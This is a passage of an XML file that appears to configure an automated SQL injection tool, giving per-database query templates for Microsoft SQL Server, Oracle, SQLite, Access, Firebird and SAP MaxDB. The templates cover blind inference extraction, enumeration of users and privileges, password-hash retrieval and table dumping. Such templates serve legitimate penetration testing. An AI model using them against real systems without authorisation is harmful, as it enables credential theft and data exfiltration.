||||
<delimiter query="+"/>
|
||||
<limit query="SELECT TOP %d "/>
|
||||
<limitregexp query="TOP\s+([\d]+)\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+([\d]+)\s+"/>
|
||||
<limitgroupstart query="2"/>
|
||||
<limitgroupstop query="1"/>
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="/*"/>
|
||||
<substring query="SUBSTRING((%s),%d,%d)"/>
|
||||
<concatenate query="%s+%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
|
||||
<hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
|
||||
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT @@VERSION"/>
|
||||
<current_user query="SELECT SYSTEM_USER"/>
|
||||
<current_db query="SELECT DB_NAME()"/>
|
||||
<hostname query="@@SERVERNAME"/>
|
||||
<table_comment query="SELECT value FROM fn_listextendedproperty(NULL,'schema','%s','table','%s',NULL,NULL)"/>
|
||||
<column_comment query="SELECT value FROM fn_listextendedproperty(NULL,'schema','%s','table','%s','column','%s')"/>
|
||||
<is_dba query="IS_SRVROLEMEMBER('sysadmin')=1" query2="IS_SRVROLEMEMBER('sysadmin','%s')=1"/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
||||
<!-- NOTE: in NOT IN kind of queries ORDER BY is a must -->
|
||||
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins ORDER BY name) ORDER BY name" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT name,master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins" query2="SELECT name,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins" condition="name"/>
|
||||
<blind query="SELECT TOP 1 master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins WHERE name='%s' AND password NOT IN (SELECT TOP %d password FROM master..sysxlogins WHERE name='%s' ORDER BY password) ORDER BY password" query2="SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='%s' AND password_hash NOT IN (SELECT TOP %d password_hash FROM sys.sql_logins WHERE name='%s' ORDER BY password_hash) ORDER BY password_hash" count="SELECT LTRIM(STR(COUNT(password))) FROM master..sysxlogins WHERE name='%s'" count2="SELECT LTRIM(STR(COUNT(password_hash))) FROM sys.sql_logins WHERE name='%s'"/>
|
||||
</passwords>
|
||||
<!-- NOTE: in Microsoft SQL Server there is no query to enumerate DBMS users privileges -->
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<dbs>
|
||||
<inband query="SELECT name FROM master..sysdatabases" query2="SELECT DB_NAME(%d)"/>
|
||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype = 'U'"/>
|
||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid = %s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype = 'U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype = 'U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype = 'U'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s)>'%s'" query2="SELECT MAX(%s) FROM %s WHERE CONVERT(NVARCHAR(4000),%s) LIKE '%s'" query3="SELECT %s FROM (SELECT %s, ROW_NUMBER() OVER (ORDER BY (SELECT 1)) AS LIMIT FROM %s)x WHERE LIMIT=%d" count="SELECT LTRIM(STR(COUNT(*))) FROM %s" count2="SELECT LTRIM(STR(COUNT(DISTINCT(%s)))) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db>
|
||||
<inband query="SELECT name FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||
<blind query="SELECT name FROM master..sysdatabases WHERE %s" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases WHERE %s" condition="name"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT name FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v') AND " condition="name" condition2="name"/>
|
||||
<blind query="SELECT name FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v') " count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" condition="name" condition2="name"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT %s..sysobjects.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.xtype IN ('u','v')" condition="[DB]..syscolumns.name" condition2="[DB]..sysobjects.name"/>
|
||||
<blind query="SELECT %s..sysobjects.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.xtype IN ('u','v')" count="SELECT COUNT(%s..sysobjects.name) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.xtype IN ('u','v')" condition="[DB]..syscolumns.name" condition2="[DB]..sysobjects.name"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- Oracle -->
|
||||
<dbms value="Oracle">
|
||||
<cast query="CAST(%s AS VARCHAR(4000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="NVL(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROWNUM AS LIMIT %s) WHERE LIMIT"/>
|
||||
<limitregexp query="ROWNUM\s+AS\s+.+?\s+FROM\s+.+?\)\s+WHERE\s+.+?\s*=\s*[\d]+|ROWNUM\s*=\s*[\d]+"/>
|
||||
<limitgroupstart/>
|
||||
<limitgroupstop/>
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--"/>
|
||||
<substring query="SUBSTRC((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="RAWTOHEX(%s)"/>
|
||||
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
|
||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||
<current_user query="SELECT USER FROM DUAL"/>
|
||||
<!--
|
||||
NOTE: current physical DB but not usable for enumeration
|
||||
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
|
||||
-->
|
||||
<current_db query="SELECT USER FROM DUAL"/>
|
||||
<!--
|
||||
NOTE: in Oracle to check if the session user is DBA you can use:
|
||||
SELECT USERENV('ISDBA') FROM DUAL
|
||||
-->
|
||||
<hostname query="SELECT UTL_INADDR.GET_HOST_NAME FROM DUAL"/>
|
||||
<table_comment query="SELECT COMMENTS FROM ALL_TAB_COMMENTS WHERE OWNER='%s' AND TABLE_NAME='%s'"/>
|
||||
<column_comment query="SELECT COMMENTS FROM ALL_COL_COMMENTS WHERE OWNER='%s' AND TABLE_NAME='%s' AND COLUMN_NAME='%s'"/>
|
||||
<is_dba query="(SELECT GRANTED_ROLE FROM DBA_ROLE_PRIVS WHERE GRANTEE=USER AND GRANTED_ROLE='DBA')='DBA'"/>
|
||||
<users>
|
||||
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
|
||||
<blind query="SELECT USERNAME FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=%d" count="SELECT COUNT(USERNAME) FROM SYS.ALL_USERS"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT NAME,PASSWORD FROM SYS.USER$" condition="NAME"/>
|
||||
<blind query="SELECT PASSWORD FROM (SELECT PASSWORD,ROWNUM AS LIMIT FROM SYS.USER$ WHERE NAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(PASSWORD) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||
</passwords>
|
||||
<!--
|
||||
NOTE: in Oracle to enumerate the privileges for the session user you can use:
|
||||
SELECT * FROM SESSION_PRIVS
|
||||
-->
|
||||
<privileges>
|
||||
<inband query="SELECT GRANTEE,PRIVILEGE FROM DBA_SYS_PRIVS" query2="SELECT USERNAME,PRIVILEGE FROM USER_SYS_PRIVS" condition="GRANTEE" condition2="USERNAME"/>
|
||||
<blind query="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS LIMIT FROM DBA_SYS_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT PRIVILEGE FROM (SELECT PRIVILEGE,ROWNUM AS LIMIT FROM USER_SYS_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(PRIVILEGE) FROM DBA_SYS_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(PRIVILEGE) FROM USER_SYS_PRIVS WHERE USERNAME='%s'"/>
|
||||
</privileges>
|
||||
<!--
|
||||
NOTE: in Oracle to enumerate the roles for the session user you can use:
|
||||
SELECT * FROM SESSION_ROLES
|
||||
-->
|
||||
<roles>
|
||||
<inband query="SELECT GRANTEE,GRANTED_ROLE FROM DBA_ROLE_PRIVS" query2="SELECT USERNAME,GRANTED_ROLE FROM USER_ROLE_PRIVS" condition="GRANTEE" condition2="USERNAME"/>
|
||||
<blind query="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d" query2="SELECT GRANTED_ROLE FROM (SELECT GRANTED_ROLE,ROWNUM AS LIMIT FROM USER_ROLE_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d" count="SELECT COUNT(GRANTED_ROLE) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'" count2="SELECT COUNT(GRANTED_ROLE) FROM USER_ROLE_PRIVS WHERE USERNAME='%s'"/>
|
||||
</roles>
|
||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<dbs>
|
||||
<inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)"/>
|
||||
<blind query="SELECT OWNER FROM (SELECT OWNER,ROWNUM AS LIMIT FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)) WHERE LIMIT=%d" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES" condition="OWNER"/>
|
||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME,ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE OWNER='%s') WHERE LIMIT=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||
<search_db>
|
||||
<inband query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES) WHERE %s" condition="OWNER"/>
|
||||
<blind query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES) WHERE %s" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES WHERE %s" condition="OWNER"/>
|
||||
</search_db>
|
||||
<search_table>
|
||||
<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE %s" condition="TABLE_NAME" condition2="OWNER"/>
|
||||
<blind query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES WHERE %s)" query2="SELECT TABLE_NAME FROM (SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE OWNER='%s')" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TABLES WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TABLES WHERE OWNER='%s'" condition="TABLE_NAME" condition2="OWNER"/>
|
||||
</search_table>
|
||||
<search_column>
|
||||
<inband query="SELECT OWNER,TABLE_NAME FROM SYS.ALL_TAB_COLUMNS WHERE %s" condition="COLUMN_NAME" condition2="OWNER" condition3="TABLE_NAME"/>
|
||||
<blind query="SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TAB_COLUMNS WHERE %s)" query2="SELECT TABLE_NAME FROM (SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE OWNER='%s')" count="SELECT COUNT(DISTINCT(OWNER)) FROM SYS.ALL_TAB_COLUMNS WHERE %s" count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TAB_COLUMNS WHERE OWNER='%s'" condition="COLUMN_NAME" condition2="OWNER" condition3="TABLE_NAME"/>
|
||||
</search_column>
|
||||
</dbms>
|
||||
|
||||
<!-- SQLite -->
|
||||
<dbms value="SQLite">
|
||||
<cast query="CAST(%s AS TEXT)" dbms_version=">=3.0"/>
|
||||
<!-- NOTE: On SQLite version 2 everything is stored as a string (Reference: http://www.mono-project.com/SQLite) -->
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="LIMIT %d,%d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)" query2="\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" LIMIT "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="/*"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<banner query="SELECT SQLITE_VERSION()"/>
|
||||
<current_user/>
|
||||
<current_db/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba/>
|
||||
<check_udf/>
|
||||
<users/>
|
||||
<passwords/>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<dbs/>
|
||||
<tables>
|
||||
<inband query="SELECT tbl_name FROM sqlite_master WHERE type='table'"/>
|
||||
<blind query="SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT %d,1" count="SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT MIN(sql) FROM sqlite_master WHERE tbl_name='%s'"/>
|
||||
<blind query="SELECT sql FROM sqlite_master WHERE tbl_name='%s' LIMIT 1" condition=""/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM %s LIMIT %d,1" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table>
|
||||
<inband query="SELECT tbl_name FROM sqlite_master WHERE type='table' AND %s" condition="tbl_name" condition2=""/>
|
||||
<blind query="" query2="SELECT tbl_name FROM sqlite_master WHERE type='table'" count="" count2="SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'" condition="tbl_name" condition2=""/>
|
||||
</search_table>
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft Access -->
|
||||
<dbms value="Microsoft Access">
|
||||
<cast query="RTRIM(CVAR(%s))"/>
|
||||
<length query="LEN(RTRIM(CVAR(%s)))"/>
|
||||
<isnull query="IIF(LEN(%s)=0,' ',%s)"/>
|
||||
<delimiter query="&"/>
|
||||
<limit query="TOP %d"/>
|
||||
<limitregexp query="\s+TOP\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="1"/>
|
||||
<limitstring query=" TOP "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="%16" query2="%00"/>
|
||||
<substring query="MID((%s),%d,%d)"/>
|
||||
<concatenate query="%s&%s"/>
|
||||
<case query="SELECT (IIF(%s,1,0))"/>
|
||||
<inference query="ASCW(MID((%s),%d,1))>%d"/>
|
||||
<banner/>
|
||||
<!--CURRENTUSER() is not available outside the MS Access query tool itself-->
|
||||
<current_user/>
|
||||
<current_db/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba/>
|
||||
<dbs/>
|
||||
<!--MSysObjects have no read permission by default-->
|
||||
<tables>
|
||||
<inband query="SELECT Name FROM MSysObjects WHERE Type=1"/>
|
||||
<blind query="SELECT MIN(Name) FROM MSysObjects WHERE Type=1 AND Name>'%s'" count="SELECT COUNT(Name) FROM MSysObjects WHERE Type=1"/>
|
||||
</tables>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT MIN(%s) FROM %s WHERE CVAR(%s)>'%s'" query2="SELECT TOP 1 %s FROM %s WHERE CVAR(%s) LIKE '%s'" count="SELECT COUNT(*) FROM %s" count2="SELECT COUNT(*) FROM (SELECT DISTINCT %s FROM %s)"/>
|
||||
</dump_table>
|
||||
<users/>
|
||||
<privileges/>
|
||||
<roles/>
|
||||
<search_db/>
|
||||
<search_table/>
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<!-- Firebird -->
|
||||
<dbms value="Firebird">
|
||||
<cast query="TRIM(CAST(%s AS VARCHAR(10000)))"/>
|
||||
<length query="CHAR_LENGTH(TRIM(%s))"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="ROWS %d TO %d"/>
|
||||
<limitregexp query="\s+ROWS\s+([\d]+)(\s+\TO\s+([\d]+))?"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" ROWS "/>
|
||||
<isnull query="COALESCE(%s,' ')"/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<comment query="--"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<substring query="SUBSTRING((%s) FROM %d FOR %d)"/>
|
||||
<concatenate query="%s||%s"/>
|
||||
<case query="SELECT IIF(%s,1,0)"/>
|
||||
<inference query="ASCII_VAL(SUBSTRING((%s) FROM %d FOR 1))>%d" dbms_version=">=2.1" query2="SUBSTRING((%s) FROM %d FOR 1)>'%c'"/>
|
||||
<banner query="SELECT RDB$GET_CONTEXT('SYSTEM','ENGINE_VERSION') FROM RDB$DATABASE" dbms_version=">=2.1"/>
|
||||
<current_user query="SELECT CURRENT_USER FROM RDB$DATABASE"/>
|
||||
<current_db query="SELECT RDB$GET_CONTEXT('SYSTEM','DB_NAME') FROM RDB$DATABASE"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
|
||||
<is_dba query="CURRENT_USER='SYSDBA'"/>
|
||||
<users>
|
||||
<inband query="SELECT RDB$USER FROM RDB$USER_PRIVILEGES"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES" count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
|
||||
</users>
|
||||
<tables>
|
||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
|
||||
</tables>
|
||||
<privileges>
|
||||
<inband query="SELECT RDB$USER,RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES" condition="RDB$USER"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'" count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
|
||||
</privileges>
|
||||
<roles/>
|
||||
<dbs/>
|
||||
<columns>
|
||||
<!--<inband query="SELECT r.RDB$FIELD_NAME,CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
|
||||
<inband query="SELECT r.RDB$FIELD_NAME,f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
|
||||
<blind query="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'" query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'" count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT FIRST 1 SKIP %d %s FROM %s" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
<search_db/>
|
||||
<search_table>
|
||||
<inband query="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0) AND %s" condition="RDB$RELATION_NAME" condition2=""/>
|
||||
<blind query="" query2="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" count="" count2="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)" condition="RDB$RELATION_NAME" condition2=""/>
|
||||
</search_table>
|
||||
<search_column/>
|
||||
</dbms>
|
||||
|
||||
<!-- SAP MaxDB -->
|
||||
<!-- http://dev.mysql.com/tech-resources/articles/maxdb-php-ready-for-web.html -->
|
||||
<!-- http://dev.mysql.com/doc/refman/5.0/es/maxdb-reserved-words.html -->
|
||||
<!-- http://maxdb.sap.com/doc/7_6/default.htm -->
|
||||
<!-- http://www.sapdb.org/7.4/htmhelp/35/f8823cb7e5d42be10000000a114027/content.htm -->
|
||||
<!-- http://www.ximido.de/research/PenTestingMaxDB.pdf -->
|
||||
<dbms value="SAP MaxDB">
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="VALUE(%s,' ')" query2="IFNULL(%s,' ')"/>
|
||||
<delimiter query=","/>
|
||||
<limit query="LIMIT %d,%d"/>
|
||||
<limitregexp query="\s+LIMIT\s+([\d]+)\s*\,\s*([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<!-- No real cast on SAP MaxDB -->
|
||||
<cast query="REPLACE(CHR(%s),' ','_')"/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<comment query="--" query2="#"/>
|
||||
<substring query="SUBSTR((%s),%d,%d)"/>
|
||||
<concatenate query="CONCAT(%s,%s)"/>
|
||||
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
|
||||
<hex query="HEX(%s)"/>
|
||||
<inference query="SUBSTR((%s),%d,1)>'%c'"/>
|
||||
<banner query="SELECT ID FROM SYSINFO.VERSION"/>
|
||||
<current_user query="SELECT USER() FROM DUAL"/>
|
||||
<current_db query="SELECT DATABASE() FROM DUAL"/>
|
||||
<hostname/>
|
||||
<table_comment/>
|
||||
<column_comment/>
